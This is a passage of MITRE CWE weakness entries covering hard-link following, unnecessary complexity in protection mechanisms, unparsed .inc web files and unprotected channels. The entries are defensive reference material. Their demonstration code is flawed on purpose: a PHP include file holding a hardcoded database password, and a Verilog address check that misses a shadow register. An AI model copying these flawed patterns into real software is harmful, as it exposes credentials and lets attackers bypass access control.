Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. /etc/passwd). When the process opens the file, the attacker can assume the privileges of that process.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.59Improper Link Resolution Before File Access ('Link Following')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Unix (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
Hard link attack, file overwrite; interesting because program checks against soft links
Hard link and possibly symbolic link following vulnerabilities in embedded operating system allow local users to overwrite arbitrary files.
Server creates hard links and unlinks files as root, which allows local users to gain privileges by deleting and overwriting arbitrary files.
Operating system allows local users to conduct a denial of service by creating a hard link from a device special file to a file on an NFS file system.
Web hosting manager follows hard links, which allows local users to read or modify arbitrary files.
Package listing system allows local users to overwrite arbitrary files via a hard link attack on the lockfiles.
The Finder in Mac OS X and earlier allows local users to overwrite arbitrary files and gain privileges by creating a hard link from the .DS_Store file to an arbitrary file.
Hard link race condition
"Zip Slip" vulnerability in Go-based Open Container Initiative (OCI) registries product allows writing arbitrary files outside intended directory via symbolic links or hard links in a gzipped tarball.
OpenBSD chpass/chfn/chsh file content leak
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.980SFP Secondary Cluster: Link in Resource Name Resolution
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUNIX hard link
CERT C Secure CodingFIO05-CIdentify files using multiple file attributes
Software Fault PatternsSFP18Link in resource name resolution
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Hard Links", Page 518. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Observed_Examples, Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Research_Gaps
2022-10-13CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')

Weakness ID: 637
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a more complex mechanism than necessary, which could lead to resultant weaknesses when the mechanism is not correctly understood, modeled, configured, implemented, or used.
+ Extended Description
Security mechanisms should be as simple as possible. Complex security mechanisms may engender partial implementations and compatibility problems, with resulting mismatches in assumptions and implemented security. A corollary of this principle is that data specifications should be as simple as possible, because complex data specifications result in complex validation code. Complex tasks and systems may also need to be guarded by complex security checks, so simple systems should be preferred.
+ Alternate Terms
Unnecessary Complexity
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.657Violation of Secure Design Principles
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

+ Demonstrative Examples

Example 1

The IPSEC specification is complex, which resulted in bugs, partial implementations, and incompatibilities between vendors.

Example 2

HTTP Request Smuggling (CWE-444) attacks are feasible because there are not stringent requirements for how illegal or inconsistent HTTP headers should be handled. This can lead to inconsistent implementations in which a proxy or firewall interprets the same data stream as a different set of requests than the end points in that stream.

+ Observed Examples
ReferenceDescription
Support for complex regular expressions leads to a resultant algorithmic complexity weakness (CWE-407).
Either a filename extension and a Content-Type header could be used to infer the file type, but the developer only checks the Content-Type, enabling unrestricted file upload (CWE-434).
In Apache environments, a "filename.php.gif" can be redirected to the PHP interpreter instead of being sent as an image/gif directly to the user. Not knowing this, the developer only checks the last extension of a submitted filename, enabling arbitrary code execution.
The developer cleanses the $_REQUEST superglobal array, but PHP also populates $_GET, allowing attackers to bypass the protection mechanism and conduct SQL injection attacks against code that uses $_GET.
+ Potential Mitigations

Phase: Architecture and Design

Avoid complex security mechanisms when simpler ones would meet requirements. Avoid complex data models, and unnecessarily complex operations. Adopt architectures that provide guarantees, simplify understanding through elegance and abstraction, and that can be implemented similarly. Modularize, isolate and do not trust complex code, and apply other secure programming principles on these modules (e.g., least privilege) to mitigate vulnerabilities.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.975SFP Secondary Cluster: Architecture
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1418Comprehensive Categorization: Violation of Secure Design Principles
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ References
[REF-196] Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975-09. <http://web.mit.edu/Saltzer/www/publications/protection/>.
[REF-524] Sean Barnum and Michael Gegick. "Economy of Mechanism". 2005-09-13. <https://web.archive.org/web/20220126060058/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/economy-of-mechanism>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-18
(CWE Draft 8, 2008-01-30)
Pascal MeunierPurdue University
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Weakness_Ordinalities
2009-01-12CWE Content TeamMITRE
updated Description, Name
2010-12-13CWE Content TeamMITRE
updated Name, Research_Gaps
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature
2020-02-24CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated References
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Design Principle Violation: Not Using Economy of Mechanism
2010-12-13Failure to Use Economy of Mechanism

CWE-433: Unparsed Raw Web Content Delivery

Weakness ID: 433
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores raw content or supporting code under the web document root with an extension that is not specifically handled by the server.
+ Extended Description
If code is stored in a file with an extension such as ".inc" or ".pl", and the web server does not have a handler for that extension, then the server will likely send the contents of the file directly to the requester without the pre-processing that was expected. When that file contains sensitive information such as database credentials, this may allow the attacker to compromise the application or associated components.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.219Storage of File with Sensitive Data Under Web Root
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.178Improper Handling of Case Sensitivity
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.430Deployment of Wrong Handler
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.431Missing Handler
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Demonstrative Examples

Example 1

The following code uses an include file to store database credentials:

database.inc

(bad code)
Example Language: PHP 
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>

login.php

(bad code)
Example Language: PHP 
<?php
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password.

+ Observed Examples
ReferenceDescription
".inc" file stored under web document root and returned unparsed by the server
".inc" file stored under web document root and returned unparsed by the server
".inc" file stored under web document root and returned unparsed by the server
direct request to .pl file leaves it unparsed
.inc file
unparsed config.conf file
Chain: uppercase file extensions causes web server to return script source code instead of executing the script.
+ Potential Mitigations

Phase: Architecture and Design

Perform a type check before interpreting files.

Phase: Architecture and Design

Do not store sensitive information in files which may be misinterpreted.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This overlaps direct requests (CWE-425), alternate path (CWE-424), permissions (CWE-275), and sensitive file under web root (CWE-219).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUnparsed Raw Web Content Delivery
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "File Handlers", Page 74. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description, Other_Notes, Relationship_Notes
2010-09-27CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-420: Unprotected Alternate Channel

Weakness ID: 420
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product protects a primary channel, but it does not use the same level of protection for an alternate channel.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.923Improper Restriction of Communication Channel to Intended Endpoints
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.421Race Condition During Access to Alternate Channel
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.422Unprotected Windows Messaging Channel ('Shatter')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1299Missing Protection Mechanism for Alternate Hardware Interface
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.288Authentication Bypass Using an Alternate Path or Channel
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.417Communication Channel Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity; Bypass Protection Mechanism

+ Demonstrative Examples

Example 1

Register SECURE_ME is located at address 0xF00. A mirror of this register called COPY_OF_SECURE_ME is at location 0x800F00. The register SECURE_ME is protected from malicious agents and only allows access to select, while COPY_OF_SECURE_ME is not.

Access control is implemented using an allowlist (as indicated by acl_oh_allowlist). The identity of the initiator of the transaction is indicated by the one hot input, incoming_id. This is checked against the acl_oh_allowlist (which contains a list of initiators that are allowed to access the asset).

Though this example is shown in Verilog, it will apply to VHDL as well.

(informative)
Example Language: Verilog 
module foo_bar(data_out, data_in, incoming_id, address, clk, rst_n);
output [31:0] data_out;
input [31:0] data_in, incoming_id, address;
input clk, rst_n;
wire write_auth, addr_auth;
reg [31:0] data_out, acl_oh_allowlist, q;
assign write_auth = | (incoming_id & acl_oh_allowlist) ? 1 : 0;
always @*
acl_oh_allowlist <= 32'h8312;
assign addr_auth = (address == 32'hF00) ? 1: 0;
always @ (posedge clk or negedge rst_n)
if (!rst_n)
begin
q <= 32'h0;
data_out <= 32'h0;
end
else
begin
q <= (addr_auth & write_auth) ? data_in: q;
data_out <= q;
end
end
endmodule
(bad code)
Example Language: Verilog 
assign addr_auth = (address == 32'hF00) ? 1: 0;

The bugged line of code is repeated in the Bad example above. The weakness arises from the fact that the SECURE_ME register can be modified by writing to the shadow register COPY_OF_SECURE_ME. The address of COPY_OF_SECURE_ME should also be included in the check. That buggy line of code should instead be replaced as shown in the Good Code Snippet below.

(good code)
Example Language: Verilog 
assign addr_auth = (address == 32'hF00 || address == 32'h800F00) ? 1: 0;
+ Observed Examples
ReferenceDescription
When the internal flash is protected by blocking access on the Data Bus (DBUS), it can still be indirectly accessed through the Instruction Bus (IBUS).
DB server assumes that local clients have performed authentication, allowing attacker to directly connect to a process to load libraries and execute commands; a socket interface also exists (another alternate channel), so attack can be remote.
Product does not restrict access to underlying database, so attacker can bypass restrictions by directly querying the database.
User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing.
FTP service can not be disabled even when other access controls would require it.
Windows named pipe created without authentication/access control, allowing configuration modification.
Router management interface spawns a separate TCP connection after authentication, allowing hijacking by attacker coming from the same IP address.
+ Potential Mitigations

Phase: Architecture and Design

Identify all alternate channels and use the same protection mechanisms that are used for the primary channels.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.956SFP Secondary Cluster: Channel Attack
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This can be primary to authentication errors, and resultant from unhandled error conditions.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUnprotected Alternate Channel
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Relationship_Notes, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Applicable_Platforms, Potential_Mitigations, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples

CWE-419: Unprotected Primary Channel

Weakness ID: 419
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a primary channel for administration or restricted functionality, but it does not properly protect the channel.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.923Improper Restriction of Communication Channel to Intended Endpoints
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.417Communication Channel Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
+ Applicable Platforms
